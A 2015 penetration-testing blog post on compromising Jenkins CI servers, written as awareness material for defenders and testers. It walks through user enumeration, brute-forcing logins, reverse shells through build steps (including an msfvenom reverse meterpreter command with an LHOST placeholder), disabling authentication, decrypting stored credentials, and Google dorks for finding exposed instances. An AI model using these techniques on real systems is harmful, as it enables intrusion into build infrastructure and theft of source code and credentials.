Monday, November 30, 2015

Week of Continuous Intrusion Tools - Day 1 - Jenkins

Continuous Integration (CI) tools are used to frequently integrate commits by developers. Integration result in execution of builds and tests. CI tools are used by development, build management and source code management teams of many software/code development organizations. Read more about it here.

CI tools support distributed builds. That is, in a typical setup, a CI tool master server has the ability to execute commands on a good number of machines where a build slave or agent is running. A simplified typical industry setup for Continuous Integration looks like s:

I got interested in CI tools when during a penetration test, I got access to one of the client's Jenkins instance available on the internet. It was trivial to compromise it and the access it provided amazed me. I blogged about it here.

As I began to actively look for and compromise CI Servers, I realized that they are widely used, lack basic security controls, often poorly configured yet hold immense importance because of the information (code repositories, build logs, credentials etc.)  and machines (distributed builds) they have access to. If a hacker manages to get access to a CI tool, it provides access to, at least, the source code and command execution access to all the machines running slaves/agents.

Still, what I found is an absolute disregard for security of CI tools, both by its users and developers. Even for instances over the internet, as we will see later on, many leave them running with default or improper configuration.

To generate awareness about the security and attack surface of CI tools, I announce a Week of Continuous Intrusion beginning from 30th November, 2015. For the first three days we will discuss security issues in a CI tool (Jenkins and Hudson, TeamCity, Go and CruiseControl) and how its features and/or mis-configurations could be abused. On the fourth day, we will see a Common Abuse Set and how access to these tools could be used for Lateral movement and post exploitation. On the fifth day, we will discuss defense and other things.

All the code and other materials could be found here:

Day 1 - Jenkins (and Hudson)
Day 2 - TeamCity (Click Here)
Day 3 - Go and CruiseControl (Click Here)
Day 4 - Common Abuse Set, Lateral Movement and Post Exploitation (Click Here)
Day 5 - Defense and other discussion (Click Here)

I hope that this Week of Continuous Intrusion will help System Administrators and Blue Teams to understand the attack surface of CI tools and defend against attacks. I wish Penetration Testers and Red Teams will use this to break into networks thus increasing the security of their clients. I also intend to people doing more extensive research on security of these tools.

Lets begin with Day 1 - Jenkins.


Jenkins is the most widely used CI tool. You can download it from here. Hudson has not been tested separately as both are quite similar. Whatever we are going to do with Jenkins should be applicable to Hudson as well.

We can spot the following security issues in Jenkins:
  • No authentication in the default installation.
  • No protection against brute force attacks.
  • No password complexity/policy for user passwords.
  • Runs with SYSTEM or high privilege user on Windows (never seen it running with non-admin privileges).
  • Prior to version 1.580, all users of  Jenkins and console output of builds could be seen without authentication. Still, most Jenkins instances are configured the same way (Read privilege to Anonymous).
Documentation about securing Jenkins is here
For public instances of Jenkins, so much information could be collected there may be no need to actually compromise it. The information in build outputs is scary! I have seen database credentials, Git credentials, SSH keys etc. More about this in the Google Dorks section below.
After configuring the recommended Matrix Based Security, to be able to play with the Operating System on which Jenkins is installed we must have access to a user who has privileges to Configure builds (a non-admin user). In most of the Jenkins instances, it is trivial to enumerate the users. Combine this with no protection against Brute Force attacks and no password policy and we can easily brute force credentials of users. 
User enumeration could be done by browsing to the following url (Anonymous with Read rights necessary): [JenkinsUrl]/asynchPeople/
We can brute force Jenkins using Burp suite's Intruder or any similar tool. Catch a login request in Burp (POST request to [JenkinsUrl]/j_acegi_security_check) and send it to Intruder. Remember to remove the json parameter from the request. Also, we must go to Options and tell Intruder to follow redirections.
In my experience, CI Tools user love to use their username as password. Therefore, first we will use the "pitchfork" attack type in Intruder to try to use username as password in the brute force requests. If that does not work, we will use the "Cluster Bomb" attack type. We will use usernames as payload 1 and a password list as payload 2. 
And this is how success looks like:
We can keep trying unless we find a user with Configure rights for a project.
Good. With the ability to Configure builds we can do much fun stuff!

Executing Commands

With the privileges to configure builds, we can add/edit "Build Steps" of a project. Build steps provide various options like Executing batch or shell commands (or even more depending on the installed plugins). Lets try it out!
Bingo! We have command execution with SYSTEM privileges on a Windows slave node. Note that this is a feature of Jenkins and not a vulnerability.

I advocate using PowerShell wherever we can to improve the existing techniques of penetration testing. In the current scenario, we can move to a reverse shell from this simple command execution by using PowerShell. There is no need to drop a binary or any other tool for that. Lets use Invoke-PowerShellTcpOneLine.ps1 from Nishang. The script contains two one-line shells, we just need to use one of them so remove the other line of code from the script. To execute it from memory, we must encode it using Invoke-Encode from Nishang with the -OutCommand parameter.
Now the generated encoded script from "encodedcommand.txt" file could be used with PowerShell's -encodedcommand parameter to execute the script without touching disk.
Great! An in-memory reverse shell with SYSTEM privileges! There is a reason why we use Powershell :)

For metasploit fans (like me), we can also get a reverse meterpreter by abusing this functionality. We must generate a payload using "./msfvenom -p windows/x64/meterpreter/reverse_https LHOST=[IPAddress] -f psh-cmd". The generate payload can then be used like this:
Awesome, isn't it?

Note that we executed the commands by utilizing ability to configure builds on a slave. Projects could be configured to use the executor on master as well. If we have the ability to configure builds on master, couple of more interesting attacks could be executed.

Removing Security

If we can configure builds on master, we can remove all the security for the Jenkins server. See this. We just need to remove/rename or edit config.xml from the $JENKINS_HOME/config directory and restart the Jenkins service. If editing, we just need to replace [useSecurity]true[/useSecurity] with [useSecurity]false[/useSecurity] in the config.xml (in case Realm and authorization . For Windows, we can use the below PowerShell commands to edit config.xml

To know $JENKINS_HOME, see the build logs for any project on master.

Running it as a build step on master and a service restart will result in removal of all security from the web console and anyone browsing to the URL will have admin rights. During my tests, I was unable to restart Jenkins service using PowerShell's Restart-Service or sc.exe on Windows. It was only from a meterpreter session when the service could be restarted. On *nix, it may not be possible to resatrt Jenkins service without root.

Decrypt Credentials

It is possible to retrieve credentials stored by Jenkins in clear text. This include passwords, passphrases, SSH keys (including private keys) and more which are saved using the Manage Credentials section of an admin user. By abusing ability to configure build on master we can read and decrypt the credentials. A thorough blog post from where I stole the technique from is this: http://thiƩ

We need three pieces of information from Jenkins master:
  1. credentials.xml from the $JENKINS_HOME directory which contains the encrypted passwords.
  2.  hudson.util.secret from the $JENKINS_HOME\secrets directory which encrypts the passwords.
  3. master.key from the $JENKINS_HOME\secrets directory which encrypts hudson.util.secret.
On a Windows master, below PowerShell commands could be used to read these files. Note that we are reading hudson.util.secret and master.key in bytes to preserve their format.
The keys could be converted back to the raw format using TexttoExe from Nishang (or any other tool or script on *nix).

Using from here (updated version of the one here) the passwords can be decrypted:
Bingo! And this is 2015. Lets all of us do a facedesk together.

Note that in case of SSH keys, above exercise is required to retrieve only the passphrase. SSH keys are stored in clear in the $JENKINS_HOME or in credentials.xml in clear text! Also, no salt is used to encrypt the passwords so it is possible to compare encrypted passwords from Jenkins with known encrypted text.

Google Dorks

Use the below Google dorks for public instances of Jenkins. More could be created depending on the use case:
Public instances: intitle:"Dashboard [Jenkins]"
Public instances with no authentication: intitle:"Dashboard [Jenkins]" intext:"Manage Jenkins"

Just replace Jenkins with Hudson in above for Hudson instances.

The kind of sensitive data exposed by public instances of Jenkins is amazing! They leak much about the source code creation and management. While while looking at such instances one can find passwords for private source code repositories, links to under development products, employee data and more, what I found was more interesting than any of these.

In the screenshot below, someone left an interesting message on a public unauthenticated server of Jenkins.
Another one, highlighting the state of security of CI tools is below. This Jenkins instance runs as root without authentication:

Unserialization Vulnerability

In case you missed it, Jenkins (and many more tools) were affected by the Unserialization bug in commons-collection Java library. Read more about it here.

This vulnerability could be exploited to get remote command execution on a Jenkins instance. All we need is:
    1. Get the ysoserial (cool name!) from here: 
    2. Create a reverse shell using ysoserial:
    3. Get the Jenkins exploit from here:
    4. Use it against a Jenkins instance (in your lab):
    5. Do the victory dance.

    This is how success looks like:
    Instances exposed on the internet may be safe because the exploit connects on a higher port which is random (Port 49189 in the above screenshot). If an environment allows connections to such ports from the Internet they probably have bigger problems to solve.

    Jenkins released a fix on 11th November, 2015 which could be found here.

    Video Demonstration

    I made a quick video to demonstrate attacks discussed in this post.

    Slides of my talk at BlackHat Europe and DeepSec

    I gave a talk at BlackHat Europe and DeepSec on Continuous Intrusion: Why CI tools are an attacker's best friends. Slides are here:

    Hope you enjoyed the post! Feedback and comments are welcome :)

    To support my research, join me for a two days training "PowerShell for Penetration Testers" at:

    BlackHat, Asia (March 29-30th, 2016) -

    HITB, Amsterdam (May 24-25th, 2016) -